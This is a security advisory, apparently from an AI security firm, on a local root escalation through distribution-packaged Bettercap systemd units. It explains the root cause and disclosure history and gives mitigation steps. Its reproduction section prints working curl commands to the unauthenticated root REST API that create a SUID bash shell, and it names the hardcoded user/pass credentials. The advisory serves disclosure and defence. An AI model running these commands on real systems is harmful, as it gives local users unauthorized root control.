
This advisory comes out of our open source partnership program, and it is a case where the vulnerability is not really in the project at all. BackBox AI found a local privilege escalation to root on Linux systems where Bettercap is present, but the root cause lives in how downstream distributions packaged the software, not in Bettercap's own logic. It is a reminder that a project's security posture extends past its source tree and into the way others ship it.
We aim to keep the attribution factual throughout this write-up, and to report the objective data rather than take a position in any dispute.
Advisory Summary
| Field | Detail |
|---|---|
| Software | Bettercap, any build packaged as a root service (Debian and Ubuntu ship 2.33.0) |
| Affected surface | Distribution packages that ship and enable bettercap.service (Debian, Ubuntu, Arch Linux and derivatives) |
| Root cause | A systemd unit runs Bettercap as root with the REST API enabled and no effective authentication |
| API auth default | Empty up to v2.41.1; hardcoded user/pass from v2.41.2 (commit d60d461); neither is effective |
| Where the flaw lives | Distribution packaging, not Bettercap's source code |
| Class | Local privilege escalation |
| CWE | CWE-306 (Missing Authentication), CWE-1392 (Default Credentials), CWE-78 (OS Command Injection) |
| CVSS 3.1 | 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Severity | High |
| Advisory ID | BBL-2026-07071 (internal tracking; no CVE assigned) |
| Status | Mitigated upstream: bettercap.service removed in commit 01e22fe (2026-07-07) |
What Actually Happens
Bettercap ships a REST API (the api.rest module). By design, when api.rest.username and api.rest.password are both empty, the API starts with authentication disabled, and it says so plainly in its own logs:
api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.
On its own, that is an opt-in feature run with the privileges of whoever launched it. The problem appears when a system service turns it on, as root, in the background. Several distributions packaged a bettercap.service systemd unit that does exactly that. On the Debian package, for example, the unit runs Bettercap with:
/usr/bin/bettercap -no-colors -eval "set events.stream.output /var/log/bettercap.log; api.rest on"
The unit specifies no User= directive, so the process inherits root, and the -eval string enables api.rest without ever setting credentials. The result is an unauthenticated REST API, bound to 127.0.0.1:8081, running as root, started automatically at boot.
Bettercap's session API accepts commands, and its bang (!) prefix runs a shell command. Put those pieces together and any local, unprivileged user can execute arbitrary commands as root:
curl -s -X POST "http://127.0.0.1:8081/api/session" \
-H "Content-Type: application/json" \
-d '{"cmd":"!id"}'
# {"success":true,"msg":""} -> command runs as root
Reproduction
A local user with no sudo rights can turn that primitive into a persistent root shell in two calls, by dropping a SUID copy of bash:
API="http://127.0.0.1:8081/api/session"
curl -s -X POST "$API" -H "Content-Type: application/json" \
-d '{"cmd":"!cp /bin/bash /.r00tbash"}'
curl -s -X POST "$API" -H "Content-Type: application/json" \
-d '{"cmd":"!chmod 6755 /.r00tbash"}'
/.r00tbash -p # interactive root shell
From there the system is fully compromised: arbitrary file read and write, new sudoers entries, persistence, and access to every user's data. The only prerequisite is an HTTP client on the local machine.
Default Credentials: Empty, Then Hardcoded
The empty-credential default shown above is what the commonly distributed builds ship, including the Bettercap 2.33.0 referenced in this advisory, which is the version packaged by Debian and Ubuntu. In those builds the API starts with no authentication at all.
Upstream later changed the default. Commit d60d461, "feat: Add default username and password for API", dated 2025-08-08 and first released in v2.41.2 (2025-08-18), sets api.rest.username to user and api.rest.password to pass instead of leaving them empty.
Objectively, that change does not restore authentication. The values are hardcoded in the source and are therefore public, so a local attacker can authenticate with the known pair, for example by adding -u user:pass to the requests above. This is a case of default and hardcoded credentials (CWE-798, CWE-1392), not an access control. The net effect is the same either way: builds up to v2.41.1 start the root API with authentication disabled, and builds from v2.41.2 onward start it with well-known default credentials. The distributions in scope for this advisory ship the former.
This Is Not a Bettercap Bug
This is the part that matters. The escalation exists only because a background service runs Bettercap as root with the API open. Run normally, Bettercap has the privileges of the user who started it, and the REST API is something you opt into. Nothing in Bettercap's code decides to install a root-level autostart service.
This distinction was also discussed publicly in bettercap/bettercap#1101. Responding to a user who reported that Bettercap seemed to "run itself as root in the background," the project's author, Simone Margaritelli (evilsocket), stated that the software runs with whatever privilege it is given:
bettercap runs with whatever privilege YOU run it. if you find it running, either someone executed it, or it was installed as a system service ... Some bettercap's features require root privileges (instrumenting the system firewall for instance)
A later comment in that thread identified the distribution-shipped systemd unit as the reason the process was running. Following our responsible disclosure, the author addressed the packaging question directly on 2026-07-07:
The .service was never meant to be installed, some distros decided to but nowhere in the documentation it is said that a systemd service is required.
That clarification, and the removal of the unit covered in the next section, both came after our report. The objective facts are these: distribution packages are produced by the distribution maintainers, the documented installation procedure does not include a systemd service, and the escalation depends entirely on the packaged unit rather than on Bettercap's code. Packaging is part of a project's real-world attack surface even when it sits outside the repository.
Severity in Context
We assess this as High (CVSS 7.8), and the vector is deliberately AV:L, local, not remote. The API binds to loopback, so an attacker already needs a foothold on the machine. Two factors shape how much this actually matters in practice:
- On general-purpose distributions (Debian, Ubuntu, Arch Linux and derivatives), the impact is bounded by the fact that Bettercap is not installed by default. Exposure requires that an administrator installed the distribution package, which is what pulled in and enabled the unit. Where that happened, the escalation is real and trivially exploitable by any local account.
- On penetration-testing distributions such as Kali Linux and Parrot OS, the exposure surface is larger, because Bettercap may be preinstalled as part of the standard tooling. On any such system where the packaged service was enabled, an unprivileged-to-root path could be available out of the box. This is worth flagging precisely because these systems are frequently multi-user and are the ones most likely to have Bettercap present.
The mitigating and aggravating factors pull in opposite directions, which is why context matters more than a single number here.
The Fix
We reported the finding through responsible disclosure, and the outcome was fast and pragmatic. To stop distributions from sourcing a unit that was never meant to run as a service, the author removed it from the repository entirely in commit 01e22fe, "Delete bettercap.service" on 2026-07-07. Removing the upstream file is the right structural fix: it cuts the problem off at the source for future packaging, rather than patching code that was behaving as designed.
Mitigation for Users
If you have Bettercap installed from a distribution package, check for and disable the service:
systemctl status bettercap.service
systemctl disable --now bettercap.service
Beyond that, do not run Bettercap as a persistent root service, and if you ever enable the REST API, always set api.rest.username and api.rest.password to values of your own. Do not rely on the built-in defaults: older builds leave them empty, and newer builds set the hardcoded pair user/pass, neither of which provides real authentication. Distribution maintainers packaging Bettercap should ensure they are not shipping the now-removed unit.
How BackBox AI Found It
The reasoning here is what makes this finding representative of the program. No single component was misbehaving: the REST API's authentication default, the bang command syntax, and the systemd unit are each unremarkable in isolation. BackBox AI connected them, it correlated a service running as root (no User= directive) with an API whose own logs announced that authentication was disabled, and recognized that the ! command syntax closed the gap between an unprivileged local user and root. Composing behaviors that are individually benign into a real escalation, and then attributing the root cause to packaging rather than code, is precisely the kind of contextual reasoning we built the platform to do.
Conclusion
The takeaway is not about any individual, but about a technical fact: security is not only about the code a project writes, it is also about how that software is packaged and shipped to users. The bettercap.service unit was removed upstream in commit 01e22fe, which prevents future packages from sourcing it.
If you maintain an open source project that could use a second set of eyes, apply to partner with us.